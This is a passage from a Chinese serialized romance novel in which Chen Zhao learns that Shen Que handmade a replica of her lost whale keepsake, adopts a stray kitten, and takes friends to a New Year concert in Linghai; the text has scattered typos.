是外公亲手给她做的,那时陈昭和外公一起生活,他和老太太很早就离婚了,但两人关系还不错,在对待子女方面更是各司其职,从未懈怠, 只是外公离世得早,甚至都来不及等陈昭实现要养他的心愿 这小东西从小到大都被她珍视地放在一个玻璃柜中,藏在抽屉中,但在某天,忽然不见了。 天失那会,陈昭四处寻找,都没见到过。 而丢失的时候,正是她和沈确发生关系的前段时间。 也正因为丢失了这个,寻找了好长时间的陈昭毫无收获,情绪使然,让她感到无比沮丧和失落 她曾拿着小鲸鱼的照片问过沈确,有没有看到这东西,如果在家里见到,务必给自己. 但从未告诉过他,小鲸鱼的来历。 如今看到东西失而复得,落入掌心的那刻,陈昭的眼睛里逐渐温热起来。 但不想在沈确面前展现自己的脆弱,便使劲收回情绪,动了动嘴角,由衷说了一声感谢的话。 “我很喜欢,谢谢。" 因为她喜欢,沈确也就很开心。 虽然陈昭从未和他提起过这个小鲸鱼的来历,但他却猜出来了。 曾经他很好奇,为什么陈昭一有假期,总是喜欢飞去挪威观鲸,有次他问姑姑的时候,姑姑是这样告诉她的。 “你昭昭姐就是想他外公了。 “我爸以前就是海洋馆的饲养员,她小的时候经常被带去我爸上班的地方。你看我钥匙扣上的鲸鱼,就是我爸做的,我和你昭昭姐都有一个。 后来,他又偶尔会从姑姑的口中,听到姑姑和陈昭两人在外公那生活的一些趣事。 姑姑和陈昭之所以关系那么好,也是因为这一点,两人曾一起生活过,姑姑也心疼陈昭。 所以那天陈昭拿着照片问他有没有见过小鲸鱼的时候,他就知道那是陈昭最爱的东西丢了 为此他那几天几乎都要把房了翻过来,甚至还去了姑姑生前的房子为其寻找,可是一无所获 再后来他被陈昭划清界限,自己来到聆海后,偶然在朋友圈看到了陈昭买了一个新的鲸鱼雕塑,言语中还在缅怀那个再也见不到的小鲸鱼,他就知道,她的“小宝贝”一直没有找到。 因为得到了“小宝贝”,陈昭是真的很开心。 刚好赵写茹又给她发了微信问候,听到她语音里明显开心的语气,她好奇地直接打了视频过来。 “我说陈昭,你可真是让人嫉妒啊,你知道我现在在做什么吗? 赵写茹将手中的合同天到桌面上,深吸一口气:“当初在你手里吃过瘼的老女人’,因为你现在来磨我了,你说说吧,怎么补偿我?" 陈昭看了一眼那份合同,浅浅一笑:“何女士从造船行业转到影娱,哪能玩得过你?”她并不放在心上,反而把小鲸鱼给赵写茹展示了下。 “猜猜这是什么?” 陈昭正准备告诉她,自己失而复得了最珍视的东西,结果赵写茹冷不丁地开口:“你怎么又买了一个?你到底还有多少个?" “上次你送给我的那个还在我抽屉里呢。” 话音落下后,在陈昭愣然的间隙,赵写茹顺势从抽屉里拿出了一个一一样的小鲸鱼。 陈昭纳闷:“我…什么时候送过你这个?" “次新丽收购了信荣后,你找我喝酒,跟我法罐这东西对你很重要,你感徽我给你牵线者桥,就把你最珍贵的东西送给我。忘了?还是断片了?"起写茹打趣起来,“看在我们两人关系这么紧密的份上,我设和你计较你给我的这 小小小''补偿。” 此刻,某些记忆慢慢地回到了陈昭的脑海中。 新丽收购信荣的那段时间,的确是在小鲸鱼丢失的那几天里。 她也的确找过写茹喝酒庆贺,那天还是她参加完新丽的庆功宴后又去找的赵写茹。 所以,真正的小鲸鱼,被她酒后转送给了赵写茹。 那么她手中的这个,又是怎么解释? 陈昭垂眸,摩挲着小鲸鱼毫无划痕,光滑的表面,心里逐渐知道了它从何而来。 一个小时前,她还不知道这是沈确特意做的。 那段时间她找不到鲸鱼失落的样子,沈确都看在眼里,所以他根据陈昭给他的照片,一比一地复刻了一个。 中间失败了很多很多,终于是让他成功复刻了。 不过在他想送给她的那天出了点意外。 两人发生了关系,然而他清醒过后想送出的机会却被陈昭亲手掐断。 她毫不犹豫地推开了沈确,也否认了那一晚的亲密。 于是拖到了现在,终究是在这天,给了他送出去的机会。 本来除夕那天就该给她的,但好几次都是欲言又止,觉得并不是最好的时机。 于是心里便赌着,她是否会延续曾经新年礼物的传统,没想到被他赌对了。 每天都带在身上的东西,顺理成章地送了出去。 赵写茹看到她陷入沉思,不解地打断她思绪:“怎么了?" 陈昭很快就调整思绪,摇头道:“没什么,那小鲸鱼的价值远比很多东西重要多了,这是最有意义的礼物,还希望你一直珍惜。 “是是是,所以我这不是珍藏着么。 陈昭与她相视笑起,转了话锋问她:“对了,还有件事我想托你帮个忙。 “什么事?" “我想让你帮我联系下霍文。“霍文?那个经纪人霍文?" “嗯,有些事我现在不方便出面。 赵写茹明白她的意思,而且陈昭提的那点要求,也不过是一句话的事 次日。 陈昭的手机上已经收到了出票信息,还有一善签名照正往聆海发送。 此前她在网上看到初八聆海这边有个新春演唱会,规模还很大,请来了不少大咖歌手。 她自己本身是没多少兴趣,只是之前答应过竹君,要请她去看EC演唱会,他个人的演唱会场次和地点都比较远了,但这次聆海新春歌会他有出场。 恰好是个机会。这次的票务是霍女士招呼主办方留的内部员工位置,今天她就特意去芬姐那告诉他们这个好消息。有好几个位置,她大概盘算了下,足够他们一群人过去了。她正想挨个去问问,出了阁楼后看到于思存站在院门口踌躇见她一脸愁容的样子,陈昭笑着上前问:“想什么呢?是打算去找蔡奇?"于思存没想到被她一眼看穿了心思,心里一咯噔,又深深叹了口气。“本来是想,可我一想到蔡奇那叽叽歪歪的样子,我就来气,我… “既然想的话一起去好了,我正好要去芬姐那。对了思存,我这有初八聆海新春演唱会的票,你有没有兴趣去现场? 一听这个,于思存的双眼顿时亮堂起来:“昭姐,你能买到那会场的票??" 她朋友圈多少人想抢都没抢到。 虽然不是个人演唱会,但里面都是大咖歌手,多少粉丝买黄牛票都没买到。 陈昭只道:“有个很好的朋友是里面的工作人员,出了几张内部票,你如果有兴趣的话,我们一起去。 于思存马上点头:“我当然有兴趣啊!不过…那票多少钱一个?要是太贵的话我就得考虑考虑。" 她现在赚的就那几个子,因为被那群王八蛋盯上,她想开直播都不行。 “我又不是黄牛,不干倒卖票务的活,所以就想让你们陪我去看咯。” 于思存马上挽住陈昭的手臂,笑盈盈地和她一起往芬姐饭店赶去。 闻言, 蔡奇家就住在饭店的用栋楼上,一路上于思存也想涌了:“作除我皇妈也一直和我说来着,虽然我是觉得蔡奇作为儿子不理解蔡叔就算了,还对蔡叔明的怪气不好,可到底是他们的家事,而且我还先楼了他一顿,也不太好。 “我舅妈说我家大门还是蔡奇给修好的。” 所以她就勉为其难地放下面子,给蔡奇低一回头,希望他能和蔡叔早点和好, 等她们到饭店的时候,一眼看到几个人拿着梯子在饭店门口做什么。 等陈昭走近后才发现,原来是蔡叔和沈确他们在帮芬姐挂招牌。 以前那招牌松了一角。 除了他们两人之外,还有另外两个熟悉的面孔,如果没记错的话,应该是沈确的两个同事。“昭姐姐,新年快乐啊。”他们笑着和陈昭打招呼,沈确摘下帽衫的帽子,唰地一下从梯子上跳到陈昭面前陈昭下意识地去扶住她,双手捏住他胳膊的瞬间,他的大手也抚住她的后背,佯装站不稳地借力扶了一下。却让陈昭耳根微微生热,就在此时,杨指导拎着一个礼品袋从背后喊住了她。“陈小姐。”“新年好啊,我还想特意拜访你一趟,没想到你刚好在这,既然这样,那这新年礼物我就直接给你了。此言一出,旁边的两人立刻别有深意地起哄起来:“哎呦,杨指导的新年礼物啊。"“杨指导也太偏心了点啊,怎么就陈昭接一个人有礼物啊,咱们呢?咱们就没有的嘛? 24、024. 杨硕早就习惯底下这群不着调的年轻人:“一边去。 陈昭当着这么多人的面,也不能拒绝杨指导的好意,笑着说了谢谢,正要伸手的时候,沈确提前一步替她接过杨指导的礼物. 再亲手转交至陈昭手中:“姐,我还是第一次看到杨指导给女孩送礼物,这份心意,你是要收下。" “也不知道杨指导送的是什么特别的新年礼物。 杨硕双手插兜轻笑道:“陈小姐是你的亲姐姐,我肯定不会总慢,你就放心吧,还有你们的新年红包我也一个不少。 说完又拿出一沓红包,挨个发去。 就连于思存和陈昭都有。 这可把旁人给乐的,周竹君更是屁颠颠地从楼上跑下来,眼巴巴地还多求了一个。 “哎呀刘润生是我最好的哥们,我必须要帮他拿一个才行。 杨指导不拘小节,索性把剩下的几个红包都一股脑给了竹君。 这下竹君的八颗大牙都掩盖不住了:“杨叔叔太厉害了!!最帅的男人非你莫属了!!" 众人笑意连连,刚好杨硕今天也是来和芬姐拜年的。 虽然杨硕家在聆海,不过在小岛工作时时常光顾芬姐的店,都是熟人,每年都有走动。 今年自然不例外。 只是今年多了陈昭,显得饭店更热闹。 芬姐也喜欢这种气氛,恨不得把她的拿手厨艺都表现出来,开开心心地在后厨忙,蔡叔也是一早就下来帮忙。 陈昭趁着大家在店里聊天,她去了后厨,先把杨指导送的礼物放好后,才走到里面正式邀请芬姐和蔡叔两人,初八一起去聆海听演唱会, 听到这消息, 芬姐愣了一下:“演唱会? 她不由得想起竹君最想去的演唱会,因为她而没去成的 陈昭走到她身边告诉她:“虽然不是竹君以前最想去的那个演唱会,可是这个演唱会里有竹君的偶像,她肯定也喜欢的。初八反正这里还没复工,我们一起去。 小岛现在的旅游还没起来,初八并没有大面积的复工, 般饭店都要初十左右才开,小岛真正接待外来旅客,还得过了元宵。 芬姐从来就没去过演唱会,只知道就是一些人在台上唱歌,对此她倒是没多少兴趣,反而觉得自己去的话还要破费,连忙婉拒。 “昭昭,我就不去凑这个热闹了,若是竹君想去的话就辛苦你带她一起吧,她肯定是开心的,还有你们在外面花了多少钱,门票多少钱,我提前给你吧。 她刚说完,蔡叔也笑着婉拒:“你芬姐说得对,这些都是你们年轻人喜欢的事,我们都大把年纪了还去凑这种热闹干什么?再说一张门票肯定不便宜的。 “芬姐!蔡叔。” 陈昭失笑:“门票钱不多,而且也是我一个朋友留的位置,就当捡漏。 “你们就别和我客气,芬姐难道不想去见见竹君的偶像到底为什么值得她喜欢吗?亦或者,去和女儿一起看个演唱会,多好啊。还有蔡叔,你就更应该去了。 她走到蔡叔面前,小声问道:“蔡叔肯定是喜欢的。" 被思存感染到,丢下枷锁大肆展现自己的时候,他肯定就想去 就凭那晚上他捡了一把破吉他, 陈昭也没给他们拒绝的机会:“位置我都留好了,船票我也定好了,你们不许拒绝,如果想感谢我的话,就请我吃顿饭可好?" 芬姐笑出声,虽然很不好意思,可陈昭盛情难却,而且她的内心也是想和女儿一起去的。 她的心里,还一直记得陈昭以前对她说的一句话。 “女人是需要取悦自己的,更不能放弃自己。" 芬姐都想不起来,自己已经有多久没有离开小岛了。 年轻时候的她,喜欢跳舞,喜欢逛街,也喜欢把自己打扮得漂漂亮亮的,有时候去滑冰场一呆就是一天。 可是后来,这些东西她想都不曾想过了。 说她不憧憬吗?答案肯定是否定的,只是曾经在面对某些事情挡住去路时,她就已经没了走动的力气 于蔡叔而言,他也有他的希冀和憧憬。 “就这么说定了,我现在就去告诉竹君。" 光想想,都能想象到周竹君该有多么开心。 陈昭觉得很奇怪,她从来没觉得周围人的情绪能带给她这么大的满足感. 想到竹君开心,她好像现在就开始开心了。 然而刚走到楼道口的时候,沈确不动声色地跟了上来。 “陈昭。“ 沈确叫了她全名,并且走到她身边,目光灼灼地盯着她问:“你邀请了这么多人去看演唱会,不邀请我? 陈昭失笑,连忙开口:“当然是会邀请你的,我这不是一个个来么。 “我不应该排在第一个?”沈确微动眉眼,就想听她怎么回答。 他这句话,还真把陈昭给问住了。 她哪里想过这种事情还有个第一第二的,还不都是看到谁就邀请谁么, 要不是位置有限,她可能还会顺势邀请杨指导和沈确的同事都一起。 见她没回答,沈确忽然靠近一步,只问:“刚刚我见你去后厨放了杨指导给你的新年礼物,所以.……是他的礼物好,还是我的礼物好? 陈昭一愣,面对有些“咄咄逼人”的沈确,她的心忽然七上八下。 下意识地回答他:“这也要比?有可比性? 此言一出,沈确的眉头忽然舒展开来,他露出笑容,双手环胸:“也是,他和我能有什么可比性?" 陈昭还没从他这话的意思中反应,周竹君忽然从楼上走下,无意打断了两人。 她一脸窘迫,尤其是见到两人亲近的距离,还有这无人的楼道,瞬间恨不得把自己双腿给打断,心里暗喊,死腿啊,还不赶紧走! 这灯泡未免太亮了一些! 于是她立刻转身,讪笑:“那个,我我就想着下楼吃饭啊。 “竹君。”陈昭顺势喊住她,从沈确压迫的身型下绕出,带着竹君上楼,把看演唱会的事情告诉了她。 下一秒,整栋楼都传来了周竹君的尖叫声! 坐在楼下嗑瓜子的众人都愣了一下,忍俊不禁. 很快周竹君以迅雷不及掩耳之势的速度冲下来:“妈!!妈!!我们初八去看演唱会!!" 告诉他们不止,她连外套都顾不上穿,一路狂奔到刘润生的院子外,大声喊:“刘润生!刘润生!!!!" 邻居家的狗都被她的声音给吓到,接二连三地狂吠起来:“汪汪汪!" 刘润生!!" 周竹君喘着粗气,双手捂在嘴边像个大喇叭似的朝刘润生的窗户喊:“刘润生!!" 昨天晚上连夜从亲戚家赶回来的刘润生还没睡醒 惺忪着睡眼慢吞吞地拉开窗户 结果看到周竹君竟然像只猴子似的从楼下爬到他的窗户前, ,吓得他秒醒:“你不要命了!!快下去!有什么事我下楼…"” 话不没说完,周竹君已经顺着水管翻窗而讲,洪来后无比激动的抱住了他:“网啊啊啊啊!演唱会!!你敢信昭姐真的要带我去看演唱会了!有EC!!昭姐还给你留了位置!我们可以一起去啊啊啊!“ 刘润生呆若木鸡地愣在原地,他努力吞咽口水,清楚感受到她身上那股好闻的气味包裹而来。 好像甜牛奶,也好像一股桂花的味道。 另一边的陈昭回到饭店一楼,杨指导特意给她拿来了一张椅子。 他勤快地给陈昭倒了饮料,还和陈昭聊起小岛今年的一些旅游规划,顺便想听听陈昭有没有一些可行的意见。 兴许年后他和文旅局那边的领导见面,还能聊聊。 陈昭不负所望,对于这个问题,她也细致地展开聊了一下。 这些日子,她注意到岛上的一些风土人情都不错,还有很多天然的地理优势。 除了是国内唯一能看到布氏鲸群的地方,也是唯——座有庞大珊瑚群,以及天然火山口的岛屿。 他们年后就会迎来第二批观鲸游客,在第一批的体验客上改善了不少,正好能借着这个口子宣传一下。聊着聊着大家都聊的起劲了,吃饭时话题不知不觉转移到了私人问题上,“不过昭姐这么厉害,也不知道昭姐中意什么样的异性呢?哈哈哈。旁人都争相看过来,只有沈确带着机械的笑意毫不犹豫地切断了某些人的希翼。“是像姐夫那样的吗?"“姐夫?”蒋毅愣住,带着几分同情的目光扫了杨指导一眼,讪笑道:“原来昭姐结婚了啊。杨硕笑了笑:“像陈小姐这么优秀的人肯定不缺人追求,想必小沈的姐夫也很优秀。沈确给陈昭倒了杯牛奶,亲手递过去的时候还不忘问她:“我也想知道,姐夫到底哪里好。陈昭目光锋锐,若是换做以前,她用这种目光看向沈确的时候,他总会下意识地低头,像做了错事的小狗一般,局促不安。可具现在的沈确任任址日兴中带着但佛也享不里旁的于思存战术性喝水,天知道她心里已经风起云涌,好家伙啊,她先前以为沈确狗胆包天,对表姐还敢存着那心思。现在看来,不仅是狗胆包天,他简直是要翻天啊! 沈确的同事蒋毅看到杨指导眼里的光,实在忍不住的问了一声:“昭昭姐,你真是太厉害了,难怪咱们小沈引以为傲呢!以前就听她说自家有个特别厉害的姐姐,肯定就是你了。 25、025. 就在众人翘首以盼陈昭的回答时,于思存真是见不得这样的修罗场,率先出声,替陈昭开口。“你们就这么喜欢打听昭姐的私人事啊,偏不告诉你们!"说完便朝陈昭坐近了一些。芬姐也拿了一些鱿鱼干过来,堵住众人的嘴。虽然表面回到了叽叽喳喳的热闹场景,可饭桌上有几人却是各怀心思。今天饭桌上没有见到蔡奇,陈昭特意去问了芬姐,才知道蔡奇在和蔡叔吵了一架后,果断去了聆海,说是要如他所愿,去找工作,不待小岛了。陈昭微愣,芬姐笑道:“没事,不用担心,小奇是去聆海找他姑妈了,顺便去走个亲戚。他也不是第一次这样,不用担心的。" 如此一来,陈昭才点点头。 他们吃完饭后沈确就和杨指导他们先回了研究院,陈昭呆到吃过晚饭后才回阁楼等她走到门口时,看到沈确站在院外。“阿确?”陈昭疑惑地朝前走了两步,没想到沈确怀里还躺着一只惨兮兮的小猫不等陈昭开口,沈确将那只小猫递了过去:“刚刚找你的时候在路上捡的,差点被我的车压到。“我平时没那么多时间照顾它,所以,就拜托姐姐了。他知道陈昭不会拒绝,只是陈昭从没有养过这种小动物,一时无从下手。让她养养小鱼什么的还行,毕竟以前在海洋馆呆过,肚子里仅有的那点对动物的墨水,都是水生的。 像猫猫狗狗的,她的确不了解。 无奈这只瘦弱的小猫毛都脱了大半,两只眼睛也被糊着睁不开,害怕的在沈确手心中挣扎喊叫。 声声凄厉的叫声,实在让陈昭下不了丢下的狠心。 她抱过来,小心地护着,避免小猫抓到自己。上楼的时候沈确也白然的跟了过去,进屋更是熟稔的打开她的冰箱,拿出一瓶舒化奶。“别喂牛奶,最好是羊奶,但上次我给你买的东西里只有牛奶和几瓶舒化奶,先用舒化奶给她吃。“还有我也查了,像小猫这种情况大概是长了猫藓,她看起来不到两个月,免疫力太低。这会村里兽医没上班,也没地方买药,暂时先给它补充点营养,等白天出太阳的时候就让它多多晒太阳。沈确一边说一边去厨房拿了一块干净的毛巾,又打开橱柜拿出一个快递盒子,把毛巾垫上后为它做了个简易的窝。陈昭全程看着他熟悉的拿过那些东西,不知道的还以为这是在他家。不仅揶揄他:“你既然懂的照顾它,直接放到你宿舍就好了。““我不是说过么,平常我上班没时间照顾,小猫太小,而且拉屎都不会,还得别人代着擦屁屁才能帮助它排泄。“我在你眼里是这么有耐心的人?"以前陈昭只听别人说她脾气不好,也不好相处,更是毫无耐心。谁在她面前汇报工作,如果抓不到重点,说不到工作内容她想听的点上,她是一点也不会留情 以至于公司的不少人对他趋之若鹜,她也落得了一个较真不好相处的名声。 可是沈确忽然抬眼,想都没想地说:“当初把我从高原带回来,你不就是这样照顾我的么?" 冷不丁的一句话,瞬间把陈昭拉回了那一年。 虽然是姑姑要收养他,带他离开赫兹,但回到明港后的那一周,姑姑出公差,只能托陈昭暂时照顾他。 那时的沈确才十三岁,陈昭从未多想过什么,只当他是一个可怜的孤儿。 所以尽可能地去帮他。 他没衣服穿,自己就给他买衣服过来,手把手地教会他用屋子里的一切电器,哪怕是沐浴时的花酒,浴缸,马桶,都耐心得很 那时沈确因为水土不服,刚到明港就上吐下泻,皮肤还过敏。 整天恹恹的,连饭都吃不下。 本来消瘦的身体变得更加瘦,不知道的还以为是哪个难民营来的呢。 好在陈昭买的那些衣服都不错,出去看病时至少不会让别人以为他是“难民” 想到那时的沈确,因为营养不良,平时又吃不饱穿不暖,比同龄人发育缓慢多了,就那么小小的一团,自己都能轻易将他抱起来。 可现在也才过去几年,他一如松柏,以自己想象不到的生长速度,直立云霄的去长。 那时怯生生的沈确,被她牵在手里,唯一的安全感就来自她。 她没有一点不耐烦,从始至终都对他无比温柔。 担心他害怕抽血打针,她便将他拢在怀中,捂住他的眼睛,和他讲话转移沈确的注意力。 担心他不敢一个人在医院打针,哪怕她抱着电脑处理公事,也要和他挨着一起坐。 担心他没有足够的营养,吃不好,特意请来大厨,一日三餐,营养均衡地给他做着, 这样的她,把他照顾得这么好,一只小猫而已,沈确当然是相信她, “你都能照顾我,这只小猫不在话下。” 陈昭嗤笑:“所以在你看来,自己像只流浪猫吗? “以前是,但后来不是。 沈确目光灼灼地凝视她,伸手摸了摸小猫的耳朵:“你给取个名字。 “小猫的名字还不好取么?旺财,大福,发发,财神爷?" “除此之外呢?" 陈昭微微皱眉,心想他要求还真高,低头看了小猫一眼,干脆道:“六六好了,六六大顺,望它以后都顺遂平安。 沈确勾起唇角,摸着小猫的下巴第一个喊了它:“六六,六六。 陈昭也笑了起来,可是下一刻沈确又忽然追问:“之前的问题你还没有回答我。 "?" “姐夫到底哪里好? 陈昭: 见他如此问,陈昭张了张嘴,但有些话到嘴边,还是改成了一句:“他没什么不好的。沈确蹙眉,陈昭顿时站起身,切断了这个话:“沈确,有些事情不一定要刨根究底,尤其是在一些主观问题上,我无法回答你。沈确轻轻一笑,后退了一步,不以为然。反而转换语气,就当刚刚的话没有问过:“明天我会去同事那拿点猫粮猫砂过来,等上班了就辛苦你照顾六六了。"说完也不等陈昭挽留,他已经转身走出了阁楼。陈昭看着那个背影逐渐出神,直到手背微痛,才赫然回神。看到六六挣扎下抓伤了她,陈昭心里刺了一下,刚刚他的话也像这样抓伤了自己。 关于孟均的事,她想现在还不是时候告知。 接下来的两天,陈昭专注在如何养好小猫的心思上。 于思存还给了不少建议,什么都懂,看她这么熟悉,陈昭问她是不是养过小猫。 她笑着点点头,但很快也难过地垂下日光:“可是一旦养了这些东西,人就有了牵绊,也埋下了一颗悲伤的种子。" "我以前那只猫叫西蓝花,养了五年,但在我一次搬家后不小心走丢,直到现在都没有消息。 “西蓝花和六六一样,被我检回来的时候也惨兮兮的,猫薛一样多,鼻子上都是。不过这病也就看着可怕,平时加强营养,多晒太阳,紫外线杀菌嘛,然后喂点鸡蛋,定时抹一些药,猫毛就会渐渐长出来了。" 她温柔的抱起六六,撸它的下巴,六六就像个拖拉机似的咕咕的叫着。 陈昭还是第一次看到思存这么温柔的样子,以前那风风火火的模样,尤其是在豆豆他们面前,就是个怪阿姨,龇牙咧嘴的,常常吓得整条街的孩子都尖叫着东奔四顾。 陈昭也被这太阳晒得晕乎,索性躺在沙发上睡了个午觉。 等沈确拎着猫粮猫砂过来时,看到的就是这一幕。 陈昭蜷缩在沙发上沉睡,六六趴在她的心脏处打着呼噜。 于思存也不知道什么时候先下楼了。 他的到来,惊动了六六。 不过六六似乎闻到了沈确身上熟悉的味道,并没有跑开,只是打了个哈欠,又继续懒懒地伸着小手,继续趴回陈昭的心脏处,小脑袋在她的锁骨上亲昵地蹭着。 沈确在这一刻特别的羡慕这只猫。 毕竟以前她胸口的位置,是属于自己的。 那一晚,他曾激烈的埋进他的胸口,脖颈,在娇嫩的皮肤上啃下一道又一道的印记。 只是他现在看着那些被自己曾经“标记”过的地方,当时的痕迹早已荡然无存。 不知道,他的那个姐夫,可曾像自己这样。 想到这些东西,沈确的目光陡然沉下,竟不顾一切,伸手将她连人带猫猛地横抱起来。 六六和陈昭皆被吓了一跳。 “喵”的一声,六六下意识地抓挠住她,爪子透过陈昭薄薄的羊毛衫,又抓伤了她胸口。 陈昭倒吸一口凉气,慌乱之下她已经被沈确放到了床上。 她下意识地拉开衣领,发现锁骨处的一道血痕. 沈确也看到了。 “你在干什么?来了也不叫醒我?" 陈昭感受到他炙热的目光,立刻收拢领口,忍着那点疼找到碘伏。 正打算去卫生间涂下伤口的时候,沈确忽然从她手里拿过了那瓶药. “我帮你。 26、026. 陈昭定定地看了他两眼,不等他回答,就已经拿着碘伏自己去了卫生间。 随着“砰”的那声响,隔绝了沈确的视线。 他无奈一笑,转而坐到沙发上,将“罪魁祸首”抱在怀里,对着它的小鼻头轻轻弹了一下。 六六的脑袋瓜激灵了一下,下意识伸出爪子, 却被沈确抓到了剪指甲的借口。 等陈昭出来时,他也将利爪都剪完了。 “我想我先把它带回去养着,等上班了后带去打疫苗,你伤口不能 “小抓伤而已,我线上咨询过兽医的,六六没什么问题,而且小猫下手没轻重,以后大了就懂得收爪子。 她不以为然地又将六六接到怀中。 见她这么耐心的模样,沈确的目光不由得再次落到了她身上。 情不自禁地问出声:“以前我也和它一样么?爪子有没有伤到你?" 陈昭一顿,失笑起来:“这也能比?有可比性吗?" 沈确暗道,和那孟均是没什么可比性,可和这只小猫,大概还是有的。 毕竟都是彼此的羁绊嘛。 他前进一步,很认真:“不过我应该还好,刚到明港时,更像一只毫无攻击的, 狗字被他憋在齿间,陈昭微动眉眼,眸子璀璨:“像什么?" “小狗?" “总之你不像它,或许说是相反的。 沈确小的时候多乖啊,怯生生的,又很懂事体贴。 可是现在,嗯…陈昭仔细想了一下,也不知道他本身的性子是这样,只是以前没表现出来,还是自从与自己发生关系,被她分割了后才变成这样的, 张牙舞爪,浑身都是尖刺。 陈昭大概更倾向于后者。 周竹君好不容易盼来了初八那天,这短短的几天里于她而言,简直度日如年大家约好在芬姐饭店汇合。 除了陈昭沈确,还有芬姐母女,以及蔡叔父子和刘润生,于思存则是和陈昭一起过去的。 刘润生第一个到,耐着性子坐在饭店看书,直到看见陈昭他们过来,他才笑盈盈地放下书,客气地和陈昭打了招呼。 “昭昭姐。” 陈昭看着这个满腹诗书气的孩子,感觉眼睛都被洗净了。 想当年沈确也是这样。 总是安安静静的,可又让人无法忽视他的存在。 气质干净的就像一张白纸。 从陈昭来到小岛上,刘润生一直如此。 而竹君则是最后一个下楼的,在蔡奇无数次的催促叫喊中,才磨蹭蹭地从楼上走下。 她换上了她觉得最漂亮的那件鹅黄色大衣,还特意卷了个头发,化了个妆- 下楼便忍不住显摆起她的衣服,首先便是在刘润生面前转了个圈:“怎么样?好看吧? “我昭姐给我买的!老贵了!穿上我都感觉自己是要去机场走秀!" “今日在演唱会现场,我一定要成为最靓的那颗星!大屏幕如果能拍到我,成为幸运观众,我一定要当场和我偶像高声表白!!我的爱!要让全世界都知道!!" 除了刘润生外,一旁的蔡奇他们只有无语的笑。 “哎行了行了,就你还幸运观众呢,赶紧给我冲出去!你看看都几点了,就因为你,船都要赶不上了!" “什么叫因为我?我又没迟到!再说,你家的表现在就九点了啊?明明才八点!咱们的传票明明是九….唔" 话还没说完,蔡奇一手堵住她的嘴巴,手动闭麦。 陈昭默默走在人群背后,感受着年后小岛逐渐恢复热闹的场景, 路上时不时地有人和他们打招呼,海岸路上传来一阵阵海浪声,海鸥盘旋,清晨的日光在海面上撒下金光闪闪的碎钻。 陈昭微微眯着眼睛,海风拂面,整个人都没由来的神清气爽。 身边偶尔会传来沈确身上那款沐浴露的味道,之所以她熟悉,是因为曾经在他的浴室里闻过。 难怪沈确会喜欢这里,她也很喜欢这里。 九点准时上船后,用了半个小时的时间他们靠岸聆海码头。 由于演唱会是下午的场次,现在还早,众人就先去附近逛了逛,午饭就在一家茶楼解决,吃了他们很少吃的粤菜。 但却是陈昭和沈确最熟悉的味道。 演唱会还没开场,体育场外面就已经人山人海。 竹君把早就准备好的应援横幅,应援棒等统统拿出来,一股脑地塞到刘润生怀中,然后拿着小镜子补妆. 蔡奇在前方开路,沈确则在垫后。 他们倒是低估了现场观众,明明并然有序的队伍,却被一群人莫名冲开。 随着人群越来越多,他们也逐渐四散在附近,蔡奇的声音也逐渐淹没在人群中。 “咱们座位都在一起,里面见吧!!" 陈昭见芬姐有些无措,上前挽住她的手:“跟我来。” 她带着芬姐见缝插针,终于是在队伍里找到了属于他们的位置,看着现场这么多的人,芬姐都忍不住小声说起来。 “这么多人啊,秩序不太好的样子。" 陈昭笑了笑:“或许是主办方忽略了这一点,不过也没有大问题的,你看前面这波人都是和竹君一样追星的年轻人,她们很快能让秩序恢复。 然而就在这时,在不远处的沈确,已经被身后的两个妹子拉住了衣角。 疑惑之际,脸上泛着红晕的妹子出声,想要沈确的联系方式,加个微信。 沈确浅浅一笑,指了指陈昭意思了一下。 那两妹子秒懂。 正好这时陈昭看过来,见他快掉队,催促了一声:“阿确,这边。 沈确像只摇着尾巴的小狗,屁颠颠地穿过人群走到了她身后。 妹子们深叹了一口气:“果然帅的都已经被美女收了,惜败惜败啊! 陈昭看沈确靠过来,不解地问:“你认识她们吗?" “问路的。" 沈确切断话题,下一刻,在他人差点踩到陈昭的前一刻,忽然将她拉到自己跟前, 事实也如陈昭所料,没过多久,秩序就已经恢复了。他们挨个排队开始检票入场。 等周竹君他们看到自己的位置时,已经愣在了原地。 她转身冲刘润生说道:“你掐掐我。” 刘润生果断上手,感受到疼意的周竹君猛地反应过来,睁大双眼,感动到差点痛哭流涕 “呜呜呜呜这么好的位置!!我家哥哥的黄毛我都能摸到啊!啊啊啊!” 芬姐和蔡叔都是第一次来演唱会现场,看着宏大的现场,热情的人群,既新奇,又心潮湃。 莫名的就被现场气氛感染,感觉整个人都兴奋起来. 大概是为了迎合新春演唱会的主题,所有歌手登台唱的歌都十分欢快,朗朗上口的歌曲很快就调动起全场氛围, 尤其是一个老组合出场后,蔡叔也跟着其他人一起站起来,挥舞着双手,大声唱起。 震耳欲聋的声音,最后都淹没在这群雀跃之中。 于思存更是配合着蔡叔,拉着他激动跳跃,蔡叔一如放飞自我似的,表情那是如痴如醉 这番热情还不被辜负。 互动环节,蔡叔竟然成为幸运观众, 老歌手直接在他面前的舞台蹲下,将话筒递给他:“要不要展示下自己,来一首!!" 蔡叔紧张得连声音都结巴起来,双手颤抖地握住话筒,于思存见状,忽然举起蔡叔的手高喊:“来!开唱!" 这声高喊,好似是在示意乐队,随着那架子鼓激烈的乐声而起,蔡叔秒进状态! 中年烟嗓一出,在场的人都惊呼出声,就连老歌手,也震惊这其貌不扬的外表下竟有这样爆发力和感染的嗓音。 现场的气氛更是嗨到拉满,就连蔡奇都还是第一次知道,蔡建国真是有两把刷子啊- 曲完毕,蔡叔久久平不下心,精力旺盛地依旧在那唱跳。哪怕是后面不熟悉的歌手上台,他一样跟着节奏摇摆。 芬姐笑着俯在陈昭耳边大声喊道:“蔡建国这会就跟喝了几两二锅头似的。” 他们笑了没多久,周竹君的墙头,EC也即将上场。 在中场休息的短短几分钟内,大屏幕开始惯例的在现场抓捕。 大家似乎都明白那不成文的规定,拍到的情侣几乎毫不犹豫地彼此亲吻。 也不知道是不是陈昭坐在最佳位置的原因,镜头毫不犹豫地定格在她和沈确的脸上 这两张漂亮的脸蛋一上画面,引起不少轰动,尤其是周竹君,嗓子都要叫哑了! “啊啊啊啊啊啊啊!!” 但陈昭却是相当淡定地冲画面一笑,握住沈确的手晃了晃。 摄像机明白其意,很快便转开了。 沈确甚至都没来得及感受掌心的温度蔓延,她就已经若无其事地撒开,随着EC的入场,大家的注意力又转移到了竹君身上 只有沈确,垂眸看着那只手,唇角闪过笑意。 拾起目光落到陈昭身上时,她看起来好像什么都没发生过。 一如既往的淡定。 所以说,现在就只有他内心澎湃,似大浪滔天? 他自嘲一笑,心里只道,在心性方面,他还是要向陈昭学习。 